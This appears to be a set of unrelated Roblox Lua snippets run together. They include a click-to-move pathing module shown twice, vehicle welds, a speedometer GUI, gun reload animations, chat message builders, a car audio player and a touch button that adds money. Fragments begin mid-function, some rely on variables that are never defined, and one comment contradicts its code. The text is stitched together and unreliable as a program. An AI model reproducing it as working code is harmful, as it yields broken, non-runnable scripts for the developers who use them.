return (AgentSizeIncreaseFactor - 1.0) * 100.0 end function ClickToMove:SetUnreachableWaypointTimeout(timeoutInSec) UnreachableWaypointTimeout = timeoutInSec end function ClickToMove:GetUnreachableWaypointTimeout() return UnreachableWaypointTimeout end function ClickToMove:SetUserJumpEnabled(jumpEnabled) self.jumpEnabled = jumpEnabled if self.touchJumpController then self.touchJumpController:Enable(jumpEnabled) end end function ClickToMove:GetUserJumpEnabled() return self.jumpEnabled end function ClickToMove:MoveTo(position, showPath, useDirectPath) local character = Player.Character if character == nil then return false end local thisPather = Pather(position, Vector3.new(0, 1, 0), useDirectPath) if thisPather and thisPather:IsValidPath() then HandleMoveTo(thisPather, position, nil, character, showPath) return true end return false end return ClickToMove
--Weld stuff here
MakeWeld(car.Misc.BP.SS,car.DriveSeat,"Motor",.1) ModelWeld(car.Misc.BP.Parts,car.Misc.BP.SS) MakeWeld(car.Misc.GP.SS,car.DriveSeat,"Motor",.1) ModelWeld(car.Misc.GP.Parts,car.Misc.GP.SS) MakeWeld(car.Misc.CP.SS,car.DriveSeat,"Motor",.1) ModelWeld(car.Misc.CP.Parts,car.Misc.CP.SS) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
-----------------------------------------------------------------------------------------------
script.Parent:WaitForChild("Speedo") script.Parent:WaitForChild("Tach") script.Parent:WaitForChild("ln") script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") local player=game.Players.LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Car.Value car.Body.CarName.Value.VehicleSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local currentUnits = 1 local revEnd = math.ceil(_lRPM/1000)
--[=[ @within TableUtil @function SwapRemoveFirstValue @param tbl table -- Array @param v any -- Value to find @return number? Performs `table.find(tbl, v)` to find the index of the given value, and then performs `TableUtil.SwapRemove` on that index. ```lua local t = {"A", "B", "C", "D", "E"} TableUtil.SwapRemoveFirstValue(t, "C") print(t) --> {"A", "B", "E", "D"} ``` :::note Arrays only This function works on arrays, but not dictionaries. ]=]
local function SwapRemoveFirstValue<T>(t: { T }, v: T): number? local index: number? = table.find(t, v) if index then SwapRemove(t, index) end return index end
-- Сгорание мобов при входе в радиус деревни
local Debris = game:GetService("Debris") -- сервис по автоуничтожению
--Public developer facing functions
function ClickToMove:SetShowPath(value) ShowPath = value end function ClickToMove:GetShowPath() return ShowPath end function ClickToMove:SetWaypointTexture(texture) ClickToMoveDisplay.SetWaypointTexture(texture) end function ClickToMove:GetWaypointTexture() return ClickToMoveDisplay.GetWaypointTexture() end function ClickToMove:SetWaypointRadius(radius) ClickToMoveDisplay.SetWaypointRadius(radius) end function ClickToMove:GetWaypointRadius() return ClickToMoveDisplay.GetWaypointRadius() end function ClickToMove:SetEndWaypointTexture(texture) ClickToMoveDisplay.SetEndWaypointTexture(texture) end function ClickToMove:GetEndWaypointTexture() return ClickToMoveDisplay.GetEndWaypointTexture() end function ClickToMove:SetWaypointsAlwaysOnTop(alwaysOnTop) ClickToMoveDisplay.SetWaypointsAlwaysOnTop(alwaysOnTop) end function ClickToMove:GetWaypointsAlwaysOnTop() return ClickToMoveDisplay.GetWaypointsAlwaysOnTop() end function ClickToMove:SetFailureAnimationEnabled(enabled) PlayFailureAnimation = enabled end function ClickToMove:GetFailureAnimationEnabled() return PlayFailureAnimation end function ClickToMove:SetIgnoredPartsTag(tag) UpdateIgnoreTag(tag) end function ClickToMove:GetIgnoredPartsTag() return CurrentIgnoreTag end function ClickToMove:SetUseDirectPath(directPath) UseDirectPath = directPath end function ClickToMove:GetUseDirectPath() return UseDirectPath end function ClickToMove:SetAgentSizeIncreaseFactor(increaseFactorPercent) AgentSizeIncreaseFactor = 1.0 + (increaseFactorPercent / 100.0) end function ClickToMove:GetAgentSizeIncreaseFactor() return (AgentSizeIncreaseFactor - 1.0) * 100.0 end function ClickToMove:SetUnreachableWaypointTimeout(timeoutInSec) UnreachableWaypointTimeout = timeoutInSec end function ClickToMove:GetUnreachableWaypointTimeout() return UnreachableWaypointTimeout end function ClickToMove:SetUserJumpEnabled(jumpEnabled) self.jumpEnabled = jumpEnabled if self.touchJumpController then self.touchJumpController:Enable(jumpEnabled) end end function ClickToMove:GetUserJumpEnabled() return self.jumpEnabled end function ClickToMove:MoveTo(position, showPath, useDirectPath) local character = Player.Character if character == nil then return false end local thisPather = Pather(position, Vector3.new(0, 1, 0), useDirectPath) if thisPather and thisPather:IsValidPath() then -- Clean up previous path CleanupPath() HandleMoveTo(thisPather, position, nil, character, showPath) return true end return false end return ClickToMove
-- << VARIABLES >>
local dragInput = Enum.UserInputType.MouseMovement local clickInput = Enum.UserInputType.MouseButton1 local touchInput = Enum.UserInputType.Touch
--- Event handler for text box focus lost
function Window:LoseFocus(submit) local text = Entry.TextBox.Text self:ClearHistoryState() if Gui.Visible and not GuiService.MenuIsOpen then -- self:SetEntryText("") Entry.TextBox:CaptureFocus() elseif GuiService.MenuIsOpen and Gui.Visible then self:Hide() end if submit and self.Valid then wait() self:SetEntryText("") self.ProcessEntry(text) elseif submit then self:AddLine(self._errorText, Color3.fromRGB(255, 153, 153)) end end function Window:TraverseHistory(delta) local history = self.Cmdr.Dispatcher:GetHistory() if self.HistoryState == nil then self.HistoryState = { Position = #history + 1; InitialText = self:GetEntryText(); } end self.HistoryState.Position = math.clamp(self.HistoryState.Position + delta, 1, #history + 1) self:SetEntryText( self.HistoryState.Position == #history + 1 and self.HistoryState.InitialText or history[self.HistoryState.Position] ) end function Window:ClearHistoryState() self.HistoryState = nil end function Window:SelectVertical(delta) if self.AutoComplete:IsVisible() and not self.HistoryState then self.AutoComplete:Select(delta) else self:TraverseHistory(delta) end end local lastPressTime = 0 local pressCount = 0
-- @specs https://www.ibm.com/design/language/elements/motion/basics
--[[ Start ]]
if PATROL_ENABLED then coroutine.wrap(function() patrol() end)() end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again BoneModelName = "Insanity knife zone" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[ Top Level Roblox Services ]]
-- local PlayersService = game:GetService("Players")
-- Every valid configuration value should be non-nil in this table.
local defaultConfig = { -- Enables asserts for internal Roact APIs. Useful for debugging Roact itself. ["internalTypeChecks"] = false, -- Enables stricter type asserts for Roact's public API. ["typeChecks"] = false, -- Enables storage of `debug.traceback()` values on elements for debugging. ["elementTracing"] = false, -- Enables validation of component props in stateful components. ["propValidation"] = false, }
-- Define the function to open or close the window with gene-alike effect
local function toggleWindow() if window.Visible then -- Close the window by tweening back to the button position and size window:TweenSizeAndPosition( UDim2.new(0, 0, 0, 0), UDim2.new(0, aFinderButton.AbsolutePosition.X, 0, aFinderButton.AbsolutePosition.Y), 'Out', 'Quad', 0.2, false, function() window.Visible = false msgbar.Fucus.Disabled = true end ) end end
-- Define the maximum fall distance before taking damage
local MAX_FALL_DISTANCE = 15
-- find instigator tag
local creator = script.Parent:findFirstChild("creator") if creator ~= nil then e.Hit:connect(function(part, distance) onPlayerBlownUp(part, distance, creator) end) end e.Parent = game.Workspace shell.Transparency = 1 wait(2) shell:Remove()
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.65,-0.75,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.165, -1) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(-85))}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.165, -1) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(-85))}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.5) objs[5].Mag.Transparency = 1 objs[5].Handle:WaitForChild("MagOut"):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(1.5) ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.275,-2.5) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.8) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Yellow Metal Helm" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,-.1,-0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize) xSize = xSize or BaseFrame.AbsoluteSize.X local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000)) if textBoundsSize.Y ~= math.floor(textBoundsSize.Y) then -- HACK Alert. TODO: Remove this when we switch UDim2 to use float Offsets -- This is nessary due to rounding issues on mobile devices when translating between screen pixels and native pixels return textBoundsSize.Y + 1 end return textBoundsSize.Y end function methods:GetNumberOfSpaces(str, font, textSize) local strSize = self:GetStringTextBounds(str, font, textSize) local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize) return math.ceil(strSize.X / singleSpaceSize.X) end function methods:CreateBaseMessage(message, font, textSize, chatColor) local BaseFrame = self:GetFromObjectPool("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 0, 18) BaseFrame.Visible = true BaseFrame.BackgroundTransparency = 1 local messageBorder = 8 local BaseMessage = self:GetFromObjectPool("TextLabel") BaseMessage.Selectable = false BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0) BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0) BaseMessage.BackgroundTransparency = 1 BaseMessage.Font = font BaseMessage.TextSize = textSize BaseMessage.TextXAlignment = Enum.TextXAlignment.Left BaseMessage.TextYAlignment = Enum.TextYAlignment.Top BaseMessage.TextTransparency = 0 BaseMessage.TextStrokeTransparency = 0.75 BaseMessage.TextColor3 = chatColor BaseMessage.TextWrapped = true BaseMessage.ClipsDescendants = true BaseMessage.Text = message BaseMessage.Visible = true BaseMessage.Parent = BaseFrame return BaseFrame, BaseMessage end function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName) local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize) local NameButton = self:GetFromObjectPool("TextButton") NameButton.Selectable = false NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y) NameButton.Position = UDim2.new(0, 0, 0, 0) NameButton.BackgroundTransparency = 1 NameButton.Font = BaseMessage.Font NameButton.TextSize = BaseMessage.TextSize NameButton.TextXAlignment = BaseMessage.TextXAlignment NameButton.TextYAlignment = BaseMessage.TextYAlignment NameButton.TextTransparency = BaseMessage.TextTransparency NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency NameButton.TextColor3 = nameColor NameButton.Text = formatName NameButton.Visible = true NameButton.Parent = BaseMessage local clickedConn = NameButton.MouseButton1Click:connect(function() self:NameButtonClicked(NameButton, playerName) end) local changedConn = nil changedConn = NameButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return NameButton end function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName) local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize) local ChannelButton = self:GetFromObjectPool("TextButton") ChannelButton.Selectable = false ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y) ChannelButton.Position = UDim2.new(0, 0, 0, 0) ChannelButton.BackgroundTransparency = 1 ChannelButton.Font = BaseMessage.Font ChannelButton.TextSize = BaseMessage.TextSize ChannelButton.TextXAlignment = BaseMessage.TextXAlignment ChannelButton.TextYAlignment = BaseMessage.TextYAlignment ChannelButton.TextTransparency = BaseMessage.TextTransparency ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency ChannelButton.TextColor3 = channelColor ChannelButton.Text = formatChannelName ChannelButton.Visible = true ChannelButton.Parent = BaseMessage local clickedConn = ChannelButton.MouseButton1Click:connect(function() self:ChannelButtonClicked(ChannelButton, channelName) end) local changedConn = nil changedConn = ChannelButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return ChannelButton end function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText) local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize) local TagLabel = self:GetFromObjectPool("TextLabel") TagLabel.Selectable = false TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y) TagLabel.Position = UDim2.new(0, 0, 0, 0) TagLabel.BackgroundTransparency = 1 TagLabel.Font = BaseMessage.Font TagLabel.TextSize = BaseMessage.TextSize TagLabel.TextXAlignment = BaseMessage.TextXAlignment TagLabel.TextYAlignment = BaseMessage.TextYAlignment TagLabel.TextTransparency = BaseMessage.TextTransparency TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency TagLabel.TextColor3 = tagColor TagLabel.Text = formatTagText TagLabel.Visible = true TagLabel.Parent = BaseMessage return TagLabel end function GetWhisperChannelPrefix() if ChatConstants.WhisperChannelPrefix then return ChatConstants.WhisperChannelPrefix end return "To " end function methods:NameButtonClicked(nameButton, playerName) if not self.ChatWindow then return end if ChatSettings.ClickOnPlayerNameToWhisper then local player = Players:FindFirstChild(playerName) if player and player ~= LocalPlayer then local whisperChannel = GetWhisperChannelPrefix() ..playerName if self.ChatWindow:GetChannel(whisperChannel) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= whisperChannel then self.ChatWindow:SwitchCurrentChannel(whisperChannel) end local whisperMessage = "/w " ..playerName self.ChatBar:SetText(whisperMessage) self.ChatBar:CaptureFocus() elseif not self.ChatBar:IsInCustomState() then local whisperMessage = "/w " ..playerName self.ChatBar:SetText(whisperMessage) self.ChatBar:CaptureFocus() end end end end function methods:ChannelButtonClicked(channelButton, channelName) if not self.ChatWindow then return end if ChatSettings.ClickOnChannelNameToSetMainChannel then if self.ChatWindow:GetChannel(channelName) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= channelName then self.ChatWindow:SwitchCurrentChannel(channelName) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() end end end function methods:RegisterChatWindow(chatWindow) self.ChatWindow = chatWindow self.ChatBar = chatWindow:GetChatBar() end function methods:GetFromObjectPool(className) if self.ObjectPool == nil then return Instance.new(className) end return self.ObjectPool:GetInstance(className) end function methods:RegisterObjectPool(objectPool) self.ObjectPool = objectPool end
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon
local Song = script.Parent.AudioPlayerGui.Song local Audio = carSeat.Audio vol = 1 function changeSong() local effect = carSeat.Audio.EqualizerSoundEffect if onOff.Text == "OUT" then carSeat.AuidoPlayerEvent:FireServer(1,4) onOff.Text = "IN" else carSeat.AuidoPlayerEvent:FireServer(2,4) onOff.Text = "OUT" end end function playSong() local id = script.Parent.AudioPlayerGui.TextBox.Text carSeat.AuidoPlayerEvent:FireServer(id,1) --Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name --Screen.ID.Text = id end function stopSong() carSeat.AuidoPlayerEvent:FireServer(nil,2) end function volUp() if vol + 0.1 <= 5 then vol = vol + 0.1 carSeat.AuidoPlayerEvent:FireServer(vol,3) script.Parent.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%" --Screen.Vol.Text = tostring(vol*100) .. "%" end end function volDown() if vol - 0.1 >= 0 then vol = vol - 0.1 carSeat.AuidoPlayerEvent:FireServer(vol,3) script.Parent.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%" --Screen.Vol.Text = tostring(vol*100) .. "%" end end ChangeButton.MouseButton1Click:connect(function() changeSong() end) VolUpButton.MouseButton1Click:connect(function() volUp() end) VolDownButton.MouseButton1Click:connect(function() volDown() end) PlayButton.MouseButton1Click:connect(function() playSong() end) PauseButton.MouseButton1Click:connect(function() stopSong() end)
--JamstaKing --This script is free to use for anyone! >:3
local ting = 0 --debouncer function onTouched(hit) if ting == 0 then --debounce check ting = 1 --activate debounce check = hit.Parent:FindFirstChild("Humanoid") --Find the human that touched the button if check ~= nil then --If a human is found, then local user = game.Players:GetPlayerFromCharacter(hit.Parent) --get player from touching human local stats = user:findFirstChild("leaderstats") --Find moneyholder if stats ~= nil then --If moneyholder exists then local cash = stats:findFirstChild("Money") --Get money cash.Value = cash.Value +5 --increase amount of money by the number displayed here (500) wait(5) --wait-time before button works again end end ting = 0 --remove debounce end end script.Parent.Touched:connect(onTouched)
